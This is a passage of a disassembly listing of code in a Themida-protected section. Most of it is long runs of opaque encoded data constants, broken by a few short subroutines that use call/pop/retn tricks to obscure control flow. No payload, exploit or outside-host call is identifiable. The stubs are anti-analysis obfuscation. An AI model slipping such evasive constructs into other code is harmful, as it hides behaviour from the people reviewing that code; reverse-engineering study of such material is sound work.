895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 54C8C357h, 2431BD8Bh, 810F0614h, 3, 0A02DF80h, 0ED840FC9h dd 8B000000h, 1425CDBDh, 69858B06h, 6A061419h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 99D5C356h, 33DF8B66h, 141B8185h, 5026B706h, 0E91DB260h dd 0Ah, 0A765F78h, 0CEB40704h, 8961B157h, 0BD8B2404h, 6141D59h dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h dd 51410000h, 9D8B22C3h, 61403C5h, 21958951h, 5B06142Ch dd 4064E168h, 0D6BF66ACh, 2404814Ah, 53DE9F1Eh, 8A0FFCh dd 0FF000000h, 1409AD95h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 6698BF70h dd 7255CF81h, 0AA988589h, 7BE90617h, 6A000001h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 13B0C350h, 0D25875Dh, 0FC8AF9DAh, 0AA90858Bh, 6A0617h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h dd 7A5BCBC3h, 1800C7DCh, 66000000h, 276BDF81h, 0AA94B58Bh dd 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 79D19EC3h, 0B5894378h, 614036Dh, 0B29858Bh dd 0BF0F0614h, 890689DFh, 1400FDB5h, 69858B06h, 6A061419h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1C042444h dd 40000000h, 7E48C350h, 664C6742h, 8953A7D7h, 96F90446h dd 0F26ABF66h, 0D0B35250h, 6A965Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 190424h, 52420000h, 2190F6C3h dd 0FF050D5Eh, 17AA90B5h, 0ED958906h, 6806140Eh, 2A6E06D5h dd 34815B57h, 71052A24h, 0D5BD8B2Ah, 8D06142Bh, 17AA9885h dd 93D78106h, 9071D14Dh, 0F98B6650h, 50006A90h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0FFBA84E5h dd 1409AD95h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 4EB7E234h, 0E9C66141h, 12h, 0E67B9B63h dd 9C41238Ah, 0B32535B9h, 7C74E5A2h, 0FC613AEEh, 0EF65D9BBh dd 7185C745h, 3061426h, 89000000h, 140325BDh, 98BD8306h dd 617AAh, 2F840Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0D98A53C3h, 27E9h, 7EC78100h dd 8927C856h, 1406E59Dh, 0C305006h, 11440011h, 10E8C101h dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h dd 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 77C35747h, 369E634Ah, 0E781F1D3h, 2DC358F1h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 15C35242h dd 0D4162A5Ch, 9604BB32h, 142D8D89h, 0BD830614h, 6142671h dd 0F8850F03h, 6A000003h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 10EC357h, 1425F5B5h dd 83C5B706h, 17AA98BDh, 840F0006h, 3C7h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Bh, 42C35747h, 0CB21276Ch dd 0F9D9627h, 2B84h, 0CE800h, 0A29E0000h, 55822F22h, 734AF6Dh dd 14E9BBE4h, 0EF000000h, 5885250Fh, 204E7B3h, 70CBFC3Eh dd 9F232810h, 5FBD0E60h, 0AA98B5FFh, 9D0B0617h, 6140C19h dd 11E8h, 0DC85E100h, 92CF424h, 771C18B9h, 930E5EF0h, 8B6694D1h dd 95FF5FFBh, 6142AF5h, 800195BFh, 8CB58B4Ch, 290617AAh dd 1429918Dh, 106C706h, 66000100h, 50D755BBh, 0E9525050h dd 11h, 72C27DF0h, 0FC6D90h, 0D0A1282Eh, 0BC7121CDh, 8A310F5Dh dd 5B585ADEh, 0F9243489h, 0AA98B5FFh, 6A0617h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0FF2661C3h, 140B3195h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 4ABF12FCh dd 0AA8CB58Bh, 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 0E47CCAC3h, 95E868DEh, 858BB9B7h dd 61421D5h, 0F98B6651h, 0C486895Fh, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h dd 3923C353h, 12E9F1h, 3D9B0000h, 90929612h, 2BB304Dh dd 0C05789Bh, 161AAE15h, 3229958Bh, 0E8F90614h, 10h, 0D8B31B91h dd 0E8EEDAD0h, 77C700ABh, 73B01335h, 5FFFB70Fh, 6A04C283h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 70FAC356h, 89E42269h, 858D2050h, 617BE06h dd 23498D89h, 86890614h, 0B8h, 31FBB70Fh, 1419F18Dh, 6A006A06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0C362C353h, 19719D8Bh, 0B5FF0614h, 617AA98h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 70C35343h dd 86F894FDh, 800FDCC6h, 2, 95FFDA8Bh, 6140939h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 10C35747h, 5E96049h dd 0C000000h, 423245E6h, 2A619D89h, 0B7610614h, 0D88B962Eh dd 963EB350h, 0DEAE0EBBh, 98B5FF52h, 660617AAh, 630E381h dd 20F595FFh, 83FC0614h, 140C21BDh, 840F0006h, 49h, 718D8B60h dd 8B06140Fh, 14091585h, 0E8966106h, 0Dh, 977ABC58h, 5B7821A2h dd 67D38CD1h, 0D05CBBB7h, 505B1A51h, 0CE860h dd 0DD40000h, 0B1DDE93h, 0CEB65265h, 0BB66B2C1h, 0B4582395h dd 899661C4h, 141C4D95h, 98B5FF06h, 8B0617AAh, 1405A5BDh dd 0B195FF06h, 1061402h, 14347D95h, 98B5FF06h, 890617AAh dd 1422318Dh, 8195FF06h, 89061430h, 140E6185h, 0F5BD8306h dd 2061409h, 7B840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 170424h, 52420000h, 3519BAC3h, 9D73BF85h dd 858B752Ch, 6142D01h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 0F4C35646h, 0CCD418C1h, 1D9D8BEFh, 0F061421h dd 58Dh, 9024BB00h, 0C64C2Ah, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 4D85C746h dd 61424h, 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 69D6C350h, 0F7E7EC18h, 9D8BB222h dd 6142E99h, 0E9D88B66h, 0FFFFF3E6h, 30858589h, 0C18B0614h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 40C35747h ; --------------------------------------------------------------------------- loc_59085C: ; DATA XREF: Themida_:0054A550o mov ebx, 2F677CDAh lea eax, [ebp+6140F99h] push 0 push esi call sub_590872 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590872 proc near ; CODE XREF: Themida_:0059086Ap arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Bh inc esi push esi retn sub_590872 endp ; --------------------------------------------------------------------------- dw 55A5h dd 81659836h, 9D8B3F77h, 61406A1h, 0C212BB90h, 8B50328Dh dd 0D88B90D9h, 6498501h, 6A0614h, 249B589h, 6A0614h, 225D8D89h dd 858D0614h, 6187E81h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0E1C35545h, 0EC0C2698h, 0E9FA4C1Bh, 14h dd 3E57D5F5h, 0EB1DFEFFh, 0B144830Ch, 4C2658D2h, 448DD497h dd 6A05C083h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 7BF8C352h, 2377456Dh, 8A8D6ADCh dd 24759D8Bh, 95890614h, 6142F5Dh, 0F525050h, 6C6CBB31h dd 585A4E36h, 6A240489h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 514BC352h, 81006AD2h dd 0CDBF5DEFh, 6A006A01h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 17042444h, 42000000h, 210CC352h, 0B5316042h dd 6141D55h, 1A7195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 44A5CAC3h, 8D5526E3h dd 17A8FC8Dh, 0FF70B706h, 57006AD1h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0BA646298h dd 7DA318C6h, 0C7816F43h, 1251418Bh, 12CDBD83h, 0F010614h dd 7385h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1704h, 0C3554500h, 0AE4B8D3h, 75D5F781h, 0B5895436h dd 6140835h, 6A026Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 0DDE4D1C3h, 0EE305AB3h, 119BBB66h dd 509029CFh, 0DE9h, 55430300h, 14984F24h, 31F11A9Bh, 0FF902404h dd 14093995h, 0F98B6606h, 0DD9E9h, 0E800h, 815D0000h, 187E8BEDh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h dd 0C3524200h, 0A7160F0Ah, 6E91AE8h, 90000000h, 81207C2h dd 74DB81E9h, 8D2360ECh, 17962385h, 25BD8B06h, 90061416h dd 504CBB66h, 0D85EBF50h, 6A903C6Ch, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 0B96BC357h dd 4C1F769Ah, 0D9D233Eh, 6406140Bh, 35FFh, 6A0000h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 48A7B6C3h, 868D2E1Fh, 25896441h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_590B1F and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_590B1F proc near ; CODE XREF: Themida_:00590B17p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ch inc edi push edi retn sub_590B1F endp ; --------------------------------------------------------------------------- db 0C9h dd 44DF7865h, 563153DDh, 0E102D4BFh, 6D85FF2Bh, 89061423h dd 141B51BDh, 6AFF6A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 52B8C355h, 5BA5ABEBh dd 1141BD0Bh, 0B5FF0614h, 61406A5h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0FAC35040h, 1995FFD9h, 0E906142Bh dd 117h, 1109BD33h, 0B00614h, 10E9h, 0AA48EC00h, 933E2379h dd 6E764B01h, 9652051Eh, 8B70E6D2h, 142529BDh, 8971E406h dd 14039985h, 0F613C06h, 0E283h, 98C0F00h, 0F000000h, 38Fh dd 0FEBF0F00h, 0FC8B60Fh, 287h, 0BAFB8B00h, 6, 8B5AB3F8h dd 0C1FE8AC1h, 0F76604E8h, 0D9D8BE2h, 2B06140Ah, 0B59D8BC8h dd 8B061406h, 9DBD31D1h, 0E906140Fh, 0Ah, 61E4B560h, 2B6D9D29h dd 858B0614h, 6142A29h, 16F59D8Bh, 0C0830614h, 0D950107h dd 8306140Fh, 8D8900C0h, 614033Dh, 830FD03Bh, 0Ch, 65E9F5h dd 0BD290000h, 6142F0Dh, 1AC98D8Bh, 8B660614h, 0BD8B60FAh dd 6140CA5h, 15B678BBh, 0E1836120h, 40840F01h, 8B000000h dd 0C9A583FAh, 0FE06141Ah, 99B58B60h, 0F061425h, 282h dd 61FE8B00h, 2A299589h, 8B0F0614h, 6, 0A0D9D8Bh, 0BE90614h dd 10000000h, 68A1506Eh, 7BCE50B5h, 0E9AC6Bh, 8D000000h dd 17EE94B5h, 1BC7BF06h, 6A5B87h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 60C35343h, 405A6366h, 0BB27CEC4h dd 53E21416h, 30F99589h, 95FF0614h, 6141169h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 77C35747h, 20AEFBC5h dd 86646E9Ch, 96FB98Ah, 81660000h, 83BB86C3h, 6AFCE1h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 91DC40C3h, 802570E6h, 9529BCC0h, 6141A95h, 0FCDEBF0Fh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 63C35242h dd 0FE418F1h, 38Ch, 0D98B6600h, 30799D89h, 0C02B0614h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 5EC35040h dd 8CE6A55Ch, 0FFF68CFEh, 2B69BD89h, 0D22B0614h, 1A25BD89h dd 33AD0614h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 140424h, 53430000h, 11E98EC3h dd 0AD000000h, 0E8610B39h, 26BB8444h, 974D01BDh, 1D15F54Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DAC35747h dd 57DB0771h, 6066CF34h, 79BD0B4Fh, 66061430h, 33C8E781h dd 880Dh, 958BF900h, 6143229h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 15h, 0C1C35040h, 0E8FA8B15h, 0Fh dd 0FFF91F09h, 65361803h, 9932B29Fh, 8116B9EFh, 17B2B1D7h dd 8D8B5B5Dh, 614064Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 42C35747h, 89F4B7A8h, 140781B5h, 0C28B5006h dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 8B61C357h, 1403359Dh, 0BD83FC06h, 61429ADh, 6C840F00h dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0B820C356h, 1EDE222Bh, 9D3353B5h dd 6140A49h, 0A71FBF5Bh, 0B802FEh, 8D000000h, 144D798Dh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0BD8B89BCh, 6143209h, 8E9E1FFh, 0C000000h dd 3CE1B55Bh, 83C22FE2h, 142671BDh, 840F0006h, 439h, 0BD9BD8Bh dd 6DBF0614h, 83298F1Fh, 142671BDh, 840F0106h, 43Ch, 83D8B70Fh dd 142671BDh, 860F0306h, 3F6h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 9BC35141h, 0B23A56A3h, 0DE9DFh dd 0EF840000h, 0B716DFBAh, 2FFF222h, 60FB2137h, 2A619D8Bh dd 0F3810614h, 331F529Bh, 6AD98C66h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0E8DC350h dd 6E880h, 14FC0000h, 0E044842Fh, 5A0CBF66h, 93C7805Bh dd 6604E180h, 0ABFE9BBh, 64840FC9h, 66000001h, 858BFA8Bh dd 6141969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0A9C35141h, 6DB9A40Eh, 81985A8Bh, 0D4E195D7h, 0DBD8B6Dh dd 3306142Ah, 141B8185h, 9D8B5006h, 61421BDh, 6650905Bh dd 6A90D88Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 18042444h, 45000000h, 9FC2C355h, 50527A09h, 2C419D8Bh dd 895F0614h, 140055BDh, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0F25C357h dd 38Bh, 0E8CF8000h, 0D113F768h, 0EE99Ah, 0ACED0000h, 15DCA483h dd 6BEF5BFEh, 0BE9585A0h, 8240481h, 6A654DF0h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 0FB80C355h, 494FBBDBh, 0F0F7CA3h, 68Ah, 64D38100h, 8965FBF2h dd 1431A995h, 459D8906h, 0FF061408h, 1409AD95h, 81BD8B06h dd 89061405h, 17AA9885h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 58D0F37h, 66000000h, 0E1AECB81h dd 194E9h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1A04h, 0C3564600h, 2B6499B9h, 8010A5DEh, 816622D7h dd 8BE0ADD7h, 17AA9085h, 0DB816606h, 0C72C38h, 18h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 19C35646h, 7B27D6C9h dd 880F4392h, 6, 8259589h, 8BF50614h, 17AA94B5h, 0F7816606h dd 858BFACAh, 6140B29h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 5FC35040h, 0FBBCE79Bh, 9DBD8BC7h, 8906141Ch dd 0EB816606h, 858B819Ah, 6141969h, 89044689h, 14042D9Dh dd 840F9606h, 0 ; --------------------------------------------------------------------------- push eax jns loc_591207 ja loc_591207 push ebx pop ebx loc_591207: ; CODE XREF: Themida_:005911F9j ; Themida_:005911FFj xchg eax, esi mov [ebp+61434BDh], ebx push dword ptr [ebp+617AA90h] sub edi, 5F90C2F2h push 0F6F55032h mov di, 83C1h add dword ptr [esp], 929B3CDh adc di, 0F381h lea eax, [ebp+617AA98h] push 0 push ebp call sub_591240 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_591240 proc near ; CODE XREF: Themida_:00591238p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Bh inc ebp push ebp retn sub_591240 endp ; --------------------------------------------------------------------------- dd 0C15ACAE6h, 2582DF06h, 14B1B531h, 0E8500614h, 10h, 8139130Ch dd 523E80C3h, 97AE0821h, 0F5D0F9B6h, 7E9h, 0B2B82100h dd 0FC9B0645h, 2404895Fh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0EDC35646h, 3830F2Eh, 66000000h, 95FFD98Bh dd 61409ADh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 52C35747h, 0BD896190h, 61412EDh, 0C5EA12BFh, 7185C746h dd 3061426h, 0BF000000h, 2411652Fh, 6860Fh, 9D030000h dd 614319Dh, 0AA98BD83h, 0F000617h, 7184h, 55006A00h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 8276C749h, 9E93C16h, 8000000h, 0E8D260Bh, 0F74A5380h dd 58E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1C04h, 0C3554500h, 394F2B03h, 0DE7BF305h, 14E9F5h, 0AF010000h dd 4DE17498h, 735F9B77h, 33F81767h, 18E3B631h, 3050EA16h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 0A18D89C0h, 0E8061423h, 9, 0F2E33005h, 2F1D9AD6h, 14E937h dd 0FF150000h, 0C0EDB50Fh, 85A17723h, 6B829D9Ch, 0AE4CAF35h dd 605BFDB3h, 12D1958Bh, 83610614h, 142671BDh, 850F0306h dd 402h, 37DBB66h, 0AA98BD83h, 0F000617h, 3F184h, 0C18B6000h dd 0C299501h, 0FF610614h, 17AA98B5h, 2D9D8B06h, 0FF061408h dd 142AF595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1804h, 0C3554500h, 172F7D17h, 9D8951F0h, 6140EA1h, 8CB58B5Fh dd 6A0617AAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0CBA9C356h, 0D20702AFh, 0CD8589DEh dd 0C7061408h, 1000106h, 0B1BD8900h, 50061409h, 9E9h, 477A0C00h dd 896E7BE3h, 34892FF5h, 50006A24h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1804h, 0C3504000h, 0E7971527h, 1D9D8B38h dd 0FF061415h, 17AA98B5h, 1D9D8B06h, 0FF061432h, 140B3195h dd 58C0F06h, 66000000h, 0A00BE381h, 0AA8CB58Bh, 6A0617h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 880F7DC3h, 6, 9F19D33h, 858B0614h, 61421D5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0D8C35545h, 730CBB7Ah dd 898BB702h, 140A7D95h, 0C4868906h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h dd 576AC357h, 0F56502Dh, 958BF8B7h, 6143229h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2FC35646h, 68286FF9h dd 835AB782h, 6A04C2h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1C0424h, 56460000h, 14E67DC3h, 85225059h, 0D88B929Fh dd 7E9h, 4F049200h, 0A307C978h, 6A205089h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 5FF9C357h dd 0CE9h, 0D509E000h, 0D451F573h, 85C07F17h, 3880FF5h dd 0F000000h, 858DDAB7h, 617BE06h, 1BDBD33h, 86890614h dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ch, 0B7C35242h, 6AA5D88Eh, 0AAD96CBCh, 153DB501h, 6A0614h dd 0F2DB589h, 0B5FF0614h, 617AA98h, 3995FFF5h, 6A061409h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 2C42C350h, 0A8F3E4BFh, 50F88B96h, 10E8h dd 5BE0C900h, 7101F939h, 7FF3C99Ch, 828E018Ch, 0DE83Eh dd 72290000h, 9AA588C5h, 1B95900Ah, 57B72977h, 965F5B5Bh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0E1C35343h dd 18439874h, 0B8E0F76h, 0E9000000h, 6, 8C09B948h, 0B5FF9DEBh dd 617AA98h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 77C35141h, 1D00A178h, 0AEDBD8Bh, 95FF0614h, 61420F5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0B0C35040h dd 0CE8C565Dh, 459D2BFFh, 8306140Ch, 140C21BDh, 840F0006h dd 15h, 2BBDBD89h, 0BB960614h, 213933F1h, 96FB8B50h, 4CE38166h dd 98B5FF7Bh, 0B0617AAh, 1410AD9Dh, 0B195FF06h, 6A061402h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 76A7C352h, 2AA04AA2h, 6658EFB2h, 0B5FFD98Bh dd 617AA98h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 63C35545h, 17C4A772h, 14A4A4BFh, 8195FF26h, 0E8061430h dd 13h, 82AC9664h, 0FF854224h, 80D8033Fh, 0A2FB393Dh, 2BB3C05Dh dd 1421B19Dh, 0BD835B06h, 61409F5h, 0B840F02h, 0FC000000h dd 2D01858Bh, 0C6F50614h, 85C70000h, 614244Dh, 0 dd 18A9B589h, 3AE90614h, 6AFFFFF3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 6004C355h dd 0B5CF593Dh, 16258589h, 0C18B0614h, 0B9BD8Bh, 858D0614h dd 6140F99h, 1FC9BD8Bh, 0E8500614h, 6, 9A11AA50h, 8B66B05Eh dd 4895FDAh, 8E924h, 0B1440000h, 4C2658D2h, 6AD497h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0A9C35747h, 0D30AEFD4h dd 0B7995D45h, 8B006A7Fh, 1425859Dh, 0C5858D06h, 0BB06188Dh dd 5BC3C022h, 8B05C083h, 1425F5BDh, 66609006h, 5769BBBAh dd 8A0Fh, 615B0000h, 0BD339050h, 6141091h, 9529006Ah, 614200Dh dd 8589006Ah, 6142281h, 1A7195FFh, 0BD8B0614h, 6142185h dd 0A8FC8D8Dh, 6A0617h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 81069BC3h, 94316192h, 0D1FFA5DCh dd 8E9h, 0CA926000h, 8152DE4Eh, 0CDBD8326h, 1061412h, 7E850Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 7B6CF6C3h, 0D7F38061h, 0F50026Ah, 905BFBBFh dd 13E9h, 0F3DCDA00h, 6E136B20h, 45AD0091h, 0B0370BB7h dd 0F4CDF5F7h, 0AE950h, 0E63C0000h, 1BF32575h, 4B2013E5h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 0FDBF8C93h, 0FF27AAFDh, 14093995h, 0D4E38006h dd 0D69E9h db 0 ; --------------------------------------------------------------------------- loc_5919A9: ; DATA XREF: Themida_:0054AE60o call $+5 pop ebp sub ebp, 6188DCFh push 0 push esi call sub_5919C0 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5919C0 proc near ; CODE XREF: Themida_:005919B8p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_5919C0 endp ; --------------------------------------------------------------------------- sub ecx, cs:[eax] mov [esi-41h], ah inc ebx lea ebp, [edx+0] push edi call sub_5919E3 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5919E3 proc near ; CODE XREF: Themida_:005919DBp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5919E3 endp ; --------------------------------------------------------------------------- db 43h dd 0E9630B73h, 6, 41678D49h, 858DADF8h, 6179623h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0F9C35747h, 219D8BABh dd 9006141Ah, 0FE9h, 0C6359000h, 0BE92941h, 0C1661E31h dd 0C091AE9Ah, 0FA8B6650h, 55006A90h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0BD8BFBBBh dd 6140C55h, 35FF64h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 403FC350h, 64C67673h dd 2589h, 0EB800000h, 0BD0B57EAh, 6142395h, 6D85FF5Bh dd 33061423h, 1403499Dh, 6AFF6A06h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 2062C351h dd 0D8DF1CC0h, 619D8B5Ch, 0FF061408h, 1402E1B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h dd 0E02A5EB4h, 0EA84BB66h, 2B1995FFh, 0DFE90614h, 0B0000000h dd 0CD9D2900h, 0E6061418h, 0F9B70F70h, 0BE871E4h, 0DB000000h dd 6E25D64h, 0CD0E30BAh, 0C381B7FFh, 6BC942EAh, 0F613C5Fh dd 0B183h, 18BB6600h, 0C8B60F02h, 6BAh, 80C18B00h, 0E8C168C3h dd 58C0F04h, 0BF000000h, 23B8BE28h, 8BE2F766h, 142041BDh dd 31C82B06h, 1424E58Dh, 66D18B06h, 11E9FA8Bh, 31000000h dd 142429BDh, 958B6006h, 614109Dh, 61C38B66h, 6C1858Bh dd 8B660614h, 7C083DFh, 8900C083h, 1400B595h, 0FD03B06h dd 783h, 0E9FD8A00h, 42h, 0E2D8D8Bh, 0CB810614h, 61131BBAh dd 0F01E183h, 2D84h, 0E58D8900h, 8B061423h, 1408C5BDh dd 2DA58306h, 0FE06140Eh, 0F4CB8166h, 0C1958932h, 0F061406h dd 486h, 0B4BB6600h, 0E96Eh, 0B58D0000h, 617F9FFh, 0C006BF66h dd 0D7BF006Ah, 0FF09E893h, 14116995h, 0B9FE8A06h, 88Ah dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0DEC35646h dd 2746B000h, 8E941ABh, 0ED000000h, 0D804353Eh, 0F0DBF4Bh dd 0E183D8B7h, 0EDBD89FCh, 0FC061434h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 87C35646h, 0B9AF283Ch, 0D4CB8056h dd 0BE9h, 96CACA00h, 5825B8FAh, 0C14493D3h, 6AC02Bh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 4975B2C3h, 830FFC09h, 13h, 0BE8h, 0BC2AA200h, 436640ACh dd 6E66B54Eh, 2B5F5B52h, 0C233ADD2h, 0D003E8D1h, 7504E983h dd 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h dd 0C3574700h, 0BA36A7C4h, 5D606440h, 0DF96306h, 88h, 12E8h dd 0B7CB1100h, 160879C1h, 90CAF4DAh, 0A47804D5h, 5176E8F3h dd 0D2D78166h, 8B5F5F34h, 14322995h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1804h, 